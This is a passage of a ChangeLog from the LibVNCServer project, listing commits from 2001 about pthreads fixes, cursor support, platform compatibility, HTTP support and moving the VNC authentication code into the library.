<dscho> 8314 8315 * auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c, 8316 sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c, 8317 tight.c, zlib.c: replaced xalloc with malloc functions, udp input 8318 support (untested), fixed http 8319 83202001-10-10 dscho <dscho> 8321 8322 * CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections, 8323 fd_set in rfbNewClient, dox in rfb.h for pthreads problem 8324 83252001-10-10 dscho <dscho> 8326 8327 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: 8328 pthreads corrections 8329 83302001-10-09 dscho <dscho> 8331 8332 * sockets.c: start udp 8333 83342001-10-08 dscho <dscho> 8335 8336 * Makefile, region.h, rfbserver.c: removes region.h 8337 83382001-10-07 dscho <dscho> 8339 8340 * Makefile, README, tabletrans24template.c: fixed 24bit (update was 8341 garbled) 8342 83432001-10-07 dscho <dscho> 8344 8345 * bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections, 8346 displayHook 8347 83482001-10-06 dscho <dscho> 8349 8350 * README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c, 8351 libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c, 8352 sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: 8353 WIN32 compatibility, removed kbdptr.c 8354 83552001-10-05 dscho <dscho> 8356 8357 * CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: 8358 changed cursor functions to use screen info, not cursor fixed copy 8359 rect. 8360 83612001-10-05 dscho <dscho> 8362 8363 * Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted 8364 font routines from example 8365 83662001-10-04 dscho <dscho> 8367 8368 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: 8369 rfbDoCopyRect/Region and rfbScheduleCopyRect/Region. 8370 83712001-10-04 dscho <dscho> 8372 8373 * rfb.h: tried to compile on Sparcs. Original cc has problems. ar 8374 isn't there. 8375 83762001-10-04 dscho <dscho> 8377 8378 * CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2 8379 pthreads issues, added noXCursor option. 8380 83812001-10-03 dscho <dscho> 8382 8383 * TODO, main.c: working on IRIX pthreads problem 8384 83852001-10-03 dscho <dscho> 8386 8387 * TODO, rfbserver.c: java viewer bug fixed 8388 83892001-10-03 dscho <dscho> 8390 8391 * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c, 8392 stats.c, tight.c: upgraded to TridiaVNC 1.2.1 8393 83942001-10-02 dscho <dscho> 8395 8396 * Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c, 8397 sockets.c, translate.c, vncauth.c: no more compile warnings, pthread 8398 final(?) fixes 8399 84002001-10-02 dscho <dscho> 8401 8402 * TODO: some todo items 8403 84042001-10-02 dscho <dscho> 8405 8406 * CHANGES, cursor.c, rfb.h: implemented rfbSetCursor 8407 84082001-10-02 dscho <dscho> 8409 8410 * rfb.h: prototype for rfbSendBell 8411 84122001-10-02 dscho <dscho> 8413 8414 * CHANGES: changes 8415 84162001-10-02 dscho <dscho> 8417 8418 * pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files 8419 for 3 bpp 8420 84212001-10-02 dscho <dscho> 8422 8423 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, 8424 sockets.c, tableinitcmtemplate.c, translate.c: support for server 8425 side colour maps, fix for non-pthread, support for 3bpp 8426 84272001-10-01 dscho <dscho> 8428 8429 * TODO: have to upgrade to newest VNC sources 8430 84312001-09-29 dscho <dscho> 8432 8433 * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, 8434 sockets.c: finally fixed pthreads 8435 84362001-09-29 dscho <dscho> 8437 8438 * TODO, cursor.c: nother try 8439 84402001-09-29 dscho <dscho> 8441 8442 * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more 8443 pthread debugging 8444 84452001-09-29 dscho <dscho> 8446 8447 * Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and 8448 rfb.h (first undefine TRUE) 8449 84502001-09-29 dscho <dscho> 8451 8452 * Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h, 8453 include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h, 8454 include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h, 8455 include/X11/Xprotostr.h, include/X11/keysym.h, 8456 include/X11/keysymdef.h, include/Xserver/colormap.h, 8457 include/Xserver/cursor.h, include/Xserver/dix.h, 8458 include/Xserver/gc.h, include/Xserver/input.h, 8459 include/Xserver/misc.h, include/Xserver/miscstruct.h, 8460 include/Xserver/opaque.h, include/Xserver/os.h, 8461 include/Xserver/pixmap.h, include/Xserver/region.h, 8462 include/Xserver/regionstr.h, include/Xserver/screenint.h, 8463 include/Xserver/scrnintstr.h, include/Xserver/validate.h, 8464 include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h, 8465 rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: 8466 dropped miregion and all the X stuff in favour of Wez' sraRegion, 8467 added dox 8468 84692001-09-28 dscho <dscho> 8470 8471 * cursor.c, rfb.h: exported rfbReverseByte 8472 84732001-09-28 dscho <dscho> 8474 8475 * cursor.c: don't send a cursor update if there is no cursor 8476 84772001-09-28 dscho <dscho> 8478 8479 * README, TODO: small changes to README (contact) and TODO 8480 (autoconf?) 8481 84822001-09-28 dscho <dscho> 8483 8484 * Makefile: libvncserver.a is not deleted by make clean 8485 84862001-09-28 dscho <dscho> 8487 8488 * example.c: unnecessary include 8489 84902001-09-28 dscho <dscho> 8491 8492 * Makefile, example.c, rfb.h: now compiles on FreeBSD 8493 84942001-09-28 dscho <dscho> 8495 8496 * Makefile: make clean now cleans mac.o pnmshow.o and example.o 8497 84982001-09-27 dscho <dscho> 8499 8500 * README, cursor.c, main.c, rfb.h, rfbserver.c: added 8501 setTranslateFunction as member of rfbScreenInfo, cursor may be NULL 8502 (no cursor). 8503 85042001-09-27 dscho <dscho> 8505 8506 * Makefile, mac.c, rfb.h: try to make OSXvnc run again. 8507 85082001-09-27 dscho <dscho> 8509 8510 * README, TODO, example.c, main.c, rfb.h: docu and cursors in 8511 examples. 8512 85132001-09-26 dscho <dscho> 8514 8515 * Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c, 8516 rfb.h: API corrections 8517 85182001-09-26 dscho <dscho> 8519 8520 * TODO, main.c, pnmshow.c: adapted pnmshow to aligned width 8521 85222001-09-25 dscho <dscho> 8523 8524 * example.c, tabletranstemplate.c: look for align bug with odd 8525 width. Bug in vncviewer? 8526 85272001-09-25 dscho <dscho> 8528 8529 * d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile, 8530 libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c, 8531 libvncauth/vncauth.h, vncauth.c: permanently moved authorization 8532 85332001-09-25 dscho <dscho> 8534 8535 * Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver 8536 85372001-09-25 dscho <dscho> 8538 8539 * .depend: rmoved unneccessary files 8540 85412001-09-25 dscho <dscho> 8542 8543 * Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c, 8544 region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix 8545 align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian 8546 issues 8547 85482001-09-24 dscho <dscho> 8549 8550 * region.h: forgot file 8551 85522001-09-24 dscho <dscho> 8553 8554 * Makefile, TODO, cursor.c, example.c, include/Xserver/os.h, 8555 main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c, 8556 xalloc.c: bugfix: cursor (works now without xcursor encoding) 8557 85582001-09-24 dscho <dscho> 8559 8560 * cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes 8561 85622001-09-23 dscho <dscho> 8563 8564 * Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c, 8565 rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor 8566 changes 8567 85682001-09-21 dscho <dscho> 8569 8570 * Makefile, classes/index.vnc, cursor.c, example.c, httpd.c, 8571 main.c, rfb.h: http added, prepare for cursor 8572 85732001-09-20 dscho <dscho> 8574 8575 * README: changed README at last 8576 85772001-09-13 dscho <dscho> 8578 8579 * Makefile, bdf2c.pl, example.c, radon.h: Now you can write 8580 something in addition to mouse movements ... 8581 85822001-08-14 dscho <dscho> 8583 8584 * Makefile, example.c, main.c, pnmshow.c: comments & new example: 8585 pnmshow 8586 85872001-08-14 dscho <dscho> 8588 8589 * example.c, main.c, rfb.h: now lines are drawn for the example, 8590 first steps to make clients independent. 8591 85922001-08-14 dscho <dscho> 8593 8594 * Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted 8595 85962001-08-01 dscho <dscho> 8597 8598 * Initial revision 8599 8600